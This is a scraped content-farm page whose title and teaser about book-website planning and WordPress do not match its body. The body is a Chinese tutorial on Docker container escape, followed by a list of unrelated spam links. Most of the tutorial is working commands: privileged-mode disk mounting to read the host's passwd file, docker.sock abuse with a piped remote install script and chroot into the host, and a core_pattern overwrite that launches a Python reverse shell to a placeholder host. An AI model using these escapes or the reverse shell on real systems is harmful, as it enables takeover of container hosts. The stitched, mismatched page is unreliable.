当前位置: 首页 > news >正文

有关图书网站建设策划书wordpress产品介绍

有关图书网站建设策划书,wordpress产品介绍,用idea做html网站,专业的企业进销存软件厂家价格0x00 云原生技术-docker docker容器和虚拟机的对比#xff1a;前者是将运行环境打包#xff0c;封装一个环境。后者是将整个系统打包#xff0c;封装一个系统。在操作使用上来说各有利弊。 0x01 docker容器的三种逃逸类型 特权模式启动#xff08;不安全的启动方式…0x00 云原生技术-docker docker容器和虚拟机的对比前者是将运行环境打包封装一个环境。后者是将整个系统打包封装一个系统。在操作使用上来说各有利弊。 0x01 docker容器的三种逃逸类型 特权模式启动不安全的启动方式危险挂载启动危险配置启动docker自身漏洞主机系统漏洞 0x02 容器环境对比主机环境的渗透区别 当你获取到了一个shell如果对方是以容器环境搭建起来的那么你便是获取了容器环境的shell权限下面通过拉取一个容器环境获取shell后观察其与宿主机的区别 观察到获取到docker搭建的容器shell与真实主机是有区别的也就是我们存在于docker环境的shell中不管在内容如何去操作都只是在容器环境中这个时候就需要突破容器环境搭建容器逃逸控制对方真实主机。 0x03 如何识别自己在对方的docker环境中 拿到shell后需要判断是否是处于docker环境中上面图片我用了很简单的一个方法查看ls -al下的根目录看是否存在dockerenv文件如果存在则大概率为docker环境下面还有其他的一些方法在实战可以多个结合参考 1.ls -al / 查看是否存在dockerenv 2.检查/proc/1/cgroup内是否包含docker等字符串或者像下面一样左边是docker右边是主机 暂时列举上面的几种方法网上此类的文章也有很多大家可以随时随地的去翻阅 0x04 特权模式下的docker逃逸危险启动 docker的启动中有选项为以特权模式启动如果使用该特权启动就有会特权逃逸的危险参数为–privilegedtrue 下面以这种模式启动一个docker环境 我们启动一个docker环境进入后直接获取到shell首先判断是否为docker环境查看是否存在dockerenv文件如下 创建环境docker run --rm --privilegedtrue -it alpine cat /proc/self/status | grep CapEff 判断是否为特权模式下面是左边的真实主机与docker环境输出的结果对比 fdisk -l的区别 通过fdisk的路径创建逃逸的目录 fdisk -l mkdir /test3 mount /dev/sda1 /test3 cat /test3/ect/passwd能看到主机的passwd即为逃逸成功 0x05 危险挂载逃逸-socket守护进程等逃逸 socket是干嘛的 它是 Docker守护进程 (Docker daemon) 默认监听的 Unix域套接字 (Unix domain socket) 容器中的进程可以通过它与Docker守护进程进行通信。 docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu docker run -d -p 82:80 ba6acccedd29 docker exec -it with_docker_sock /bin/bash判断环境是否为docker 挂载逃逸并且在docker中创建新的容器环境将docker的shell中继续安装一个docker将主机环境挂载到里面实现逃逸 apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh 在容器内部创建一个新的容器并将宿主机目录挂载到新的容器内部 docker run -it -v /:/host ubuntu /bin/bash chroot /host逃逸成功 0x06 危险挂载逃逸-procfs伪文件系统逃逸 procfs是干嘛的 procfs是一个伪文件系统它动态反映着系统内进程及其他组件的状态其中有许多十分敏感重要的文件。因此将宿主机的procfs挂载到不受控的容器中也是十分危险的尤其是在该容器内默认启用root权限且没有开启UserNamespace时。 以procfs启动docker环境 docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu 检测环境find / -name core_pattern 查找路径(workdir) cat /proc/mounts | grep docker 写入文件 cat /tmp/.x.py EOF #!/usr/bin/python import os import pty import socket lhost xx.xx.xx.xx lport xxxx def main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close() if __name__ __main__:main() EOFchmod x /tmp/.x.pyecho -e |/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore /host/sys/kernel/core_patterncat /tmp/x.c EOF #include stdio.h int main(void) {int *a NULL;*a 1;return 0; } EOFgcc x.c -o x 执行文件 ./x nc -lvvp xxxx 安装gccapt-get update -y apt-get install gcc -y 通过检测环境find / -name core_pattern得到路径加载到下面中 echo -e |/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore /host/sys/kernel/core_patternvps监听反弹即可 云安全渗透参考https://wiki.teamssix.com/CloudNative/ 0x07 关于逃逸的失败需要注重的点 在线创建docker的st2靶场和dvwa靶场都使用特权模式开启可以发现通过dvwa无法逃逸成功 这里需要注意逃逸的前提也会受web的初始启动权限来决定也就是说如果环境进去它本身就是地权限类似于windows的普通data权限这种无法逃逸st2和shiro这种java一般来说启动程序都是以高权限启动php等都是普通的权限启动会导致逃逸失败。 1、高权限-Web入口到Docker逃逸Java docker run --rm --privilegedtrue -it -p 8888:8080 vulfocus/shiro-721 2、低权限-Web入口到Docker逃逸PHP docker run --rm --privilegedtrue -it -p 8080:80 sagikazarmark/dvwa-特权模式启动导致不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸 -危险挂载启动导致危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸
http://www.w-s-a.com/news/30685/

相关文章:

  • 盐城 网站开发什么叫做门户网站
  • 广东快速做网站公司哪家好本地建wordpress
  • dedecms如何做网站贵阳seo计费管理
  • 企业网站设计一般多少钱呼和浩特最好的互联网公司
  • 黄浦专业做网站海南网站策划
  • 网站开发工程师有证书考试吗织梦cms是免费的吗
  • 电子商务网站建设需要学什么门户网站推广介绍方案
  • 网站里的专题页面wordpress查询数据库结构
  • WordPress子站站群网站建设代码生成器
  • 怎么攻击织梦网站甘肃省最新消息今天
  • 赣州哪里可以做网站看装修案例的网站
  • 旅游网站专业化建设的要点php 手机网站 模板
  • wordpress百度站长主动推送长春火车站官网
  • 比较好的响应式网站wordpress博客增加音乐页面
  • 广告公司出售家具 税率江门做网站seo的
  • 网站设计建议建设商务网站作用
  • 网站策划的最终体现是什么模板网站建设流程图
  • 网站设计与开发技术教程十度公司做网站怎么样
  • 企业网站推广方案在哪里智慧团建登录入口官网手机版
  • google网页版入口seo索引擎优化
  • 东乡做网站常州网络公司联系方式
  • 做网站激励语家居装饰网站设计论文
  • 镜像的网站怎么做排名无极网站建设质量
  • 奉贤集团公司网站建设小工具文本wordpress
  • 不用代码做网站网站建设和运行费用
  • 阜阳网站开发招聘网站建设合作协议申请
  • 电子配件 技术支持 东莞网站建设wordpress 生成html代码
  • 网站用免费空间好不好网站建设的视频
  • 网站开发项目职责门户资源分享网站模板
  • 建网站需要什么语言如何做二维码跳转到网站